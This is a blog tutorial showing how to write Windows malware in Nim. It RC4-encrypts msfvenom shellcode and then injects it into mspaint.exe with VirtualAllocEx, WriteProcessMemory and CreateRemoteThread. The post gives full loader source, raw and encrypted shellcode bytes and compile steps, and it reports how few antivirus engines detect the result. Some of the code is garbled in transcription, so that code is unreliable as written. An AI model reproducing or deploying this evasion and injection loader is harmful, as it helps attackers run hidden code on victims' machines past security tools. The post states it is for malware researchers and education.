Malware and cryptography 28: RC4 payload encryption. Simple Nim example

Hello, cybersecurity enthusiasts and white hackers!

cryptography

Many of my readers ask whether it is possible to write malware in a language other than C/C++/ASM.

When malware is found to be written in new programming languages, AV detections are often failing since the new language produces bytecode sequences that are relatively unknown, combined with strings of data that can throw off static-based heuristic models.

As an experiment, I decided to show how to write a simple malware example using Nim lang. The reason for this choice is the ease of the language and its flexibility for use in bypassing AV/EDR solutions.

For installation and intro you can read official documentation.

In one of my previous posts I used RC4 algorithm to encrypt the payload. Let’s create the same logic for Nim malware.

practical example 1

First of all, create RC4 algorithm logic. This is a simple algorithm and the code for its implementation in C++ looks like this:

// swap
void swap(unsigned char *a, unsigned char *b) {
  unsigned char tmp;
  tmp = *a;
  *a = *b;
  *b = tmp;
}

// key-scheduling algorithm (KSA)
void KSA(unsigned char *s, unsigned char *key, int keyL) {
int k;
int x, y = 0;

// initialize
for (k = 0; k < 256; k++) {
s[k] = k;
}

for (x = 0; x < 256; x++) {
y = (y + s + key[x % keyL]) % 256;
swap(&s, &s[y]);
}
return;
}

// pseudo-random generation algorithm (PRGA)
unsigned char* PRGA(unsigned char* s, unsigned int messageL) {
int i = 0, j = 0;
int k;

unsigned char* keystream;
keystream = (unsigned char *)malloc(sizeof(unsigned char)*messageL);
for(k = 0; k < messageL; k++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
swap(&s[i], &s[j]);
keystream[k] = s[(s[i] + s[j]) % 256];
}
return keystream;
}

// encryption and decryption
unsigned char* RC4(unsigned char plaintext, unsigned char ciphertext, unsigned char* key, unsigned int keyL, unsigned int messageL) {
int i;
unsigned char s[256];
unsigned char* keystream;
KSA(s, key, keyL);
keystream = PRGA(s, messageL);

for (i = 0; i < messageL; i++) {
ciphertext[i] = plaintext[i] ^ keystream[i];
}
return ciphertext;
}

So, on Nim lang this logic looks like this:

import strutils
import sequtils
import system

proc swap(a: var byte, b: var byte) =
let tmp = a
a = b
b = tmp

proc KSA(s: var seq[byte], key: seq[byte]) =
let keyL = len(key)
var y = 0

initialize

for k in 0 …< 256:
s[k] = byte(k)

for x in 0 …< 256:
y = (y + int(s) + int(key[x mod keyL])) mod 256
swap(s, s[y.byte])

proc PRGA(s: var seq[byte], messageL: int): seq[byte] =
var i = 0
var j = 0
result = newSeqbyte

for k in 0 …< messageL:
i = (i + 1) mod 256
j = (j + int(s[i])) mod 256
swap(s[i], s[j.byte])
result[k] = s[(int(s[i]) + int(s[j])) mod 256]

proc RC4(plaintext: seq[byte], key: seq[byte]): seq[byte] =
let messageL = len(plaintext)
var s = newSeqbyte
KSA(s, key)
let keystream = PRGA(s, messageL)

result = newSeqbyte
for i in 0 …< messageL:
result[i] = plaintext[i] xor keystream[i]

For checking corectness, add printing hex bytes of payload logic:

when isMainModule:
  let plaintext: seq[byte] = @[// payload here]
  let key: seq[byte] = @[0x6d, 0x65, 0x6f, 0x77, 0x6d, 0x65, 0x6f, 0x77]

let ciphertext = RC4(plaintext, key)
var enchex: seq[string]
for b in ciphertext:
enchex.add(“0x” & $toHex(b, 2))
echo “payload encrypted:\n”, enchex.join(", ")

let decrypted = RC4(ciphertext, key)
var decrhex: seq[string]
for b in decrypted:
decrhex.add(“0x” & $toHex(b, 2))
echo “original payload:\n”, decrhex.join(", ")

How we can generate payload for nim language?

For this we can use msfvenom:

msfvenom -p windows/x64/messagebox TEXT='meow-meow!' TITLE='cat' -f csharp

cryptography

In our case little bit modify this brackets and variable:

let plaintext: seq[byte] = @[
byte 0xfc,0x48,0x81,0xe4,0xf0,0xff,
0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,
0x50,0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,
0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,
0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,
0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,
0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,
0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,
0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,
0x49,0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,
0x40,0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,
0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,
0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,
0x00,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x09,0x01,0x00,0x00,0x48,
0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,0xd5,0x48,0x31,
0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6d,0x65,0x6f,
0x77,0x2d,0x6d,0x65,0x6f,0x77,0x21,0x00,0x63,0x61,0x74,0x00
]

So the final full source code is look like this hack.nim:

import strutils
import sequtils
import system

proc swap(a: var byte, b: var byte) =
let tmp = a
a = b
b = tmp

proc KSA(s: var seq[byte], key: seq[byte]) =
let keyL = len(key)
var y = 0

initialize

for k in 0 …< 256:
s[k] = byte(k)

for x in 0 …< 256:
y = (y + int(s) + int(key[x mod keyL])) mod 256
swap(s, s[y.byte])

proc PRGA(s: var seq[byte], messageL: int): seq[byte] =
var i = 0
var j = 0
result = newSeqbyte

for k in 0 …< messageL:
i = (i + 1) mod 256
j = (j + int(s[i])) mod 256
swap(s[i], s[j.byte])
result[k] = s[(int(s[i]) + int(s[j])) mod 256]

proc RC4(plaintext: seq[byte], key: seq[byte]): seq[byte] =
let messageL = len(plaintext)
var s = newSeqbyte
KSA(s, key)
let keystream = PRGA(s, messageL)

result = newSeqbyte
for i in 0 …< messageL:
result[i] = plaintext[i] xor keystream[i]

when isMainModule:
let plaintext: seq[byte] = @[
byte 0xfc,0x48,0x81,0xe4,0xf0,0xff,
0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,
0x50,0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,
0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,
0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,
0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,
0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,
0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,
0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,
0x49,0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,
0x40,0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,
0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,
0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,
0x00,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x09,0x01,0x00,0x00,0x48,
0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,0xd5,0x48,0x31,
0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6d,0x65,0x6f,
0x77,0x2d,0x6d,0x65,0x6f,0x77,0x21,0x00,0x63,0x61,0x74,0x00
]
let key: seq[byte] = @[0x6d, 0x65, 0x6f, 0x77, 0x6d, 0x65, 0x6f, 0x77]

let ciphertext = RC4(plaintext, key)
var enchex: seq[string]
for b in ciphertext:
enchex.add(“0x” & $toHex(b, 2))
echo “payload encrypted:\n”, enchex.join(", ")

let decrypted = RC4(ciphertext, key)
var decrhex: seq[string]
for b in decrypted:
decrhex.add(“0x” & $toHex(b, 2))
echo “original payload:\n”, decrhex.join(", ")

demo 1

Let’s check it in action. Compile it:

nim c -d:mingw --cpu:amd64 hack.nim

cryptography

Then, just move it to the victim’s machine (Windows 11 in my case) and run:

.\hack.exe

cryptography

For checking correctness of RC4 encryption/decryption you also can use simple C code.

practical example 2

Let’s update our code from example 1: add simple process injection logic.

For process injection, let’s create process first:

import osproc
import winim

let process = startProcess(“mspaint.exe”)
echo "started process: ", process.processID

Then, add process injection logic via VirtualAllocEx, WriteProcessMemory and CreateRemoteThread:

let ph = winim.OpenProcess(
    PROCESS_ALL_ACCESS,
    false,
    cast[DWORD](process.processID)
)

when isMainModule:
let mem = VirtualAllocEx(
ph,
NULL,
castSIZE_T,
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
var btw: SIZE_T
let wp = WriteProcessMemory(
ph,
mem,
unsafeAddr payload[0],
castSIZE_T,
addr btw
)
echo "writeprocessmemory: ", bool(wp)
let th = CreateRemoteThread(
ph,
NULL,
0,
castLPTHREAD_START_ROUTINE,
NULL,
0,
NULL
)
echo "successfully inject to process: ", process.processID
echo "thread Handle: ", th

The only difference, we are using encrypted payload from example 1:

let plaintext: seq[byte] = @[
byte 0x61, 0x03, 0xDF, 0x4C, 0xE0, 0x8E, 0xFF, 0x5F, 0xB2, 0x7F, 0x28, 0x22, 0xE9,
0x3B, 0x1A, 0x09, 0xB6, 0x66, 0x78, 0xCD, 0xAD, 0x67, 0xE1, 0x18, 0x82, 0x91,
0x83, 0x1C, 0xE9, 0x9D, 0x09, 0x80, 0xFB, 0x0F, 0xD7, 0x3A, 0x06, 0xB2, 0xF2, 
0x6B, 0x0C, 0xA4, 0x93, 0x29, 0xBE, 0x3D, 0x73, 0x78, 0xEE, 0xD5, 0x6B, 0xB7, 
0xB5, 0x5B, 0x98, 0xF0, 0x8E, 0x61, 0xD3, 0x3F, 0x2B, 0xEB, 0x06, 0xA2, 0x9B, 
0xE5, 0xDA, 0xED, 0x0C, 0xF1, 0xF4, 0x64, 0x82, 0x8B, 0x96, 0xD0, 0x71, 0x9A, 
0xCB, 0x59, 0x41, 0x7C, 0x52, 0x06, 0x4D, 0xC7, 0x00, 0xEC, 0x80, 0xDD, 0xDF, 
0x37, 0x4D, 0x3C, 0x25, 0x82, 0xB4, 0x37, 0xE6, 0x25, 0x75, 0xDC, 0xBE, 0xF0, 
0x1E, 0xD1, 0x1A, 0xDE, 0x2D, 0xB8, 0xA2, 0xA1, 0x6B, 0x7D, 0x0F, 0xC0, 0xC0, 
0x66, 0x4A, 0x9E, 0x9A, 0x9A, 0x93, 0x6B, 0xA4, 0x63, 0x51, 0xA0, 0x91, 0xB0, 
0x99, 0x21, 0xDC, 0xDB, 0x41, 0xF7, 0xCC, 0xB8, 0xD5, 0x4B, 0xFF, 0xA2, 0x58, 
0xA8, 0xEF, 0xE3, 0x90, 0x50, 0x3C, 0x03, 0x30, 0x42, 0x3C, 0x1B, 0x5F, 0x9C, 
0x8F, 0xF2, 0xC7, 0x19, 0xA5, 0x07, 0x3E, 0x1C, 0x70, 0x6E, 0x80, 0xDA, 0x23, 
0x37, 0x51, 0x98, 0x7D, 0xBE, 0x55, 0xF9, 0x56, 0x52, 0x0E, 0x48, 0x40, 0x2D, 
0x9A, 0xD3, 0x0F, 0xB8, 0x92, 0x62, 0xE7, 0x5C, 0x0A, 0x2E, 0xFE, 0xF8, 0x96, 
0x8E, 0x10, 0x6A, 0x04, 0x0B, 0xDD, 0x24, 0xCB, 0x18, 0x20, 0x9E, 0x23, 0x9A, 
0x57, 0xC1, 0x38, 0xC0, 0xD7, 0x0A, 0x57, 0x3E, 0x80, 0x75, 0x9B, 0x79, 0x59, 
0xB6, 0x31, 0xE4, 0x3E, 0xBA, 0xBB, 0x1E, 0x91, 0xC5, 0x10, 0xA0, 0x63, 0x6B, 
0x99, 0x9F, 0x61, 0x6C, 0xB5, 0x1A, 0x09, 0x61, 0xFD, 0x21, 0xCC, 0x64, 0xC4, 
0x9C, 0xCA, 0x15, 0xA1, 0x3B, 0x62, 0x44, 0x5B, 0x34, 0xDC, 0x06, 0xEB, 0x8F, 
0xB1, 0x50, 0x7B, 0x1C, 0x77, 0xC7, 0x8B, 0x24, 0x34, 0x5E, 0xC4, 0x02, 0x00, 
0x3F, 0x1D, 0x05, 0x2E, 0x18, 0xC5, 0xEA, 0x6D, 0x6F
]
let key: seq[byte] = @[0x6d, 0x65, 0x6f, 0x77, 0x6d, 0x65, 0x6f, 0x77]
let payload = RC4(plaintext, key)

As you can see, we are decrypt it via RC4.

The final full source code for example 2 is looks like this (hack2.nim):

import strutils
import sequtils
import system
import osproc
import winim

proc swap(a: var byte, b: var byte) =
let tmp = a
a = b
b = tmp

proc KSA(s: var seq[byte], key: seq[byte]) =
let keyL = len(key)
var y = 0

initialize

for k in 0 …< 256:
s[k] = byte(k)

for x in 0 …< 256:
y = (y + int(s) + int(key[x mod keyL])) mod 256
swap(s, s[y.byte])

proc PRGA(s: var seq[byte], messageL: int): seq[byte] =
var i = 0
var j = 0
result = newSeqbyte

for k in 0 …< messageL:
i = (i + 1) mod 256
j = (j + int(s[i])) mod 256
swap(s[i], s[j.byte])
result[k] = s[(int(s[i]) + int(s[j])) mod 256]

proc RC4(plaintext: seq[byte], key: seq[byte]): seq[byte] =
let messageL = len(plaintext)
var s = newSeqbyte
KSA(s, key)
let keystream = PRGA(s, messageL)

result = newSeqbyte
for i in 0 …< messageL:
result[i] = plaintext[i] xor keystream[i]

when isMainModule:
let plaintext: seq[byte] = @[
byte 0x61, 0x03, 0xDF, 0x4C, 0xE0, 0x8E, 0xFF, 0x5F, 0xB2, 0x7F, 0x28, 0x22, 0xE9,
0x3B, 0x1A, 0x09, 0xB6, 0x66, 0x78, 0xCD, 0xAD, 0x67, 0xE1, 0x18, 0x82, 0x91,
0x83, 0x1C, 0xE9, 0x9D, 0x09, 0x80, 0xFB, 0x0F, 0xD7, 0x3A, 0x06, 0xB2, 0xF2,
0x6B, 0x0C, 0xA4, 0x93, 0x29, 0xBE, 0x3D, 0x73, 0x78, 0xEE, 0xD5, 0x6B, 0xB7,
0xB5, 0x5B, 0x98, 0xF0, 0x8E, 0x61, 0xD3, 0x3F, 0x2B, 0xEB, 0x06, 0xA2, 0x9B,
0xE5, 0xDA, 0xED, 0x0C, 0xF1, 0xF4, 0x64, 0x82, 0x8B, 0x96, 0xD0, 0x71, 0x9A,
0xCB, 0x59, 0x41, 0x7C, 0x52, 0x06, 0x4D, 0xC7, 0x00, 0xEC, 0x80, 0xDD, 0xDF,
0x37, 0x4D, 0x3C, 0x25, 0x82, 0xB4, 0x37, 0xE6, 0x25, 0x75, 0xDC, 0xBE, 0xF0,
0x1E, 0xD1, 0x1A, 0xDE, 0x2D, 0xB8, 0xA2, 0xA1, 0x6B, 0x7D, 0x0F, 0xC0, 0xC0,
0x66, 0x4A, 0x9E, 0x9A, 0x9A, 0x93, 0x6B, 0xA4, 0x63, 0x51, 0xA0, 0x91, 0xB0,
0x99, 0x21, 0xDC, 0xDB, 0x41, 0xF7, 0xCC, 0xB8, 0xD5, 0x4B, 0xFF, 0xA2, 0x58,
0xA8, 0xEF, 0xE3, 0x90, 0x50, 0x3C, 0x03, 0x30, 0x42, 0x3C, 0x1B, 0x5F, 0x9C,
0x8F, 0xF2, 0xC7, 0x19, 0xA5, 0x07, 0x3E, 0x1C, 0x70, 0x6E, 0x80, 0xDA, 0x23,
0x37, 0x51, 0x98, 0x7D, 0xBE, 0x55, 0xF9, 0x56, 0x52, 0x0E, 0x48, 0x40, 0x2D,
0x9A, 0xD3, 0x0F, 0xB8, 0x92, 0x62, 0xE7, 0x5C, 0x0A, 0x2E, 0xFE, 0xF8, 0x96,
0x8E, 0x10, 0x6A, 0x04, 0x0B, 0xDD, 0x24, 0xCB, 0x18, 0x20, 0x9E, 0x23, 0x9A,
0x57, 0xC1, 0x38, 0xC0, 0xD7, 0x0A, 0x57, 0x3E, 0x80, 0x75, 0x9B, 0x79, 0x59,
0xB6, 0x31, 0xE4, 0x3E, 0xBA, 0xBB, 0x1E, 0x91, 0xC5, 0x10, 0xA0, 0x63, 0x6B,
0x99, 0x9F, 0x61, 0x6C, 0xB5, 0x1A, 0x09, 0x61, 0xFD, 0x21, 0xCC, 0x64, 0xC4,
0x9C, 0xCA, 0x15, 0xA1, 0x3B, 0x62, 0x44, 0x5B, 0x34, 0xDC, 0x06, 0xEB, 0x8F,
0xB1, 0x50, 0x7B, 0x1C, 0x77, 0xC7, 0x8B, 0x24, 0x34, 0x5E, 0xC4, 0x02, 0x00,
0x3F, 0x1D, 0x05, 0x2E, 0x18, 0xC5, 0xEA, 0x6D, 0x6F
]
let key: seq[byte] = @[0x6d, 0x65, 0x6f, 0x77, 0x6d, 0x65, 0x6f, 0x77]

let payload = RC4(plaintext, key)

let process = startProcess(“mspaint.exe”)
echo "started process: ", process.processID

let ph = winim.OpenProcess(
PROCESS_ALL_ACCESS,
false,
castDWORD
)

when isMainModule:
let mem = VirtualAllocEx(
ph,
NULL,
castSIZE_T,
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
var btw: SIZE_T
let wp = WriteProcessMemory(
ph,
mem,
unsafeAddr payload[0],
castSIZE_T,
addr btw
)
echo "writeprocessmemory: ", bool(wp)
let th = CreateRemoteThread(
ph,
NULL,
0,
castLPTHREAD_START_ROUTINE,
NULL,
0,
NULL
)
echo "successfully inject to process: ", process.processID
echo "thread Handle: ", th

demo 2

Compile practical example 2:

nim c -d:mingw --cpu:amd64 hack2.nim

cryptography

And run new file on Windows 11:

.\hack2.exe

cryptography

cryptography

To verify our payload is indeed injected into mspaint.exe process we can use Process Hacker 2, in memory section we can see:

cryptography

So, it seems our simple injection logic worked!

Upload this sample to https://websec.nl/en/scanner:

cryptography

https://websec.nl/en/scanner/result/b1497b7b-af49-48f7-870e-2d612ecd1ad3

As you can see, 4 of 40 AV engines detect our file as malicious.

Note that Microsoft Defender detect it as VirTool:Win32/Meterpreter:

cryptography

I hope this post is useful for malware researchers, C/C++ programmers and offensive security professionals.

RC4
Malware AV/VM evasion part 9
https://websec.nl/en/scanner
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Article Link: Malware and cryptography 28: RC4 payload encryption. Simple Nim example. - cocomelonc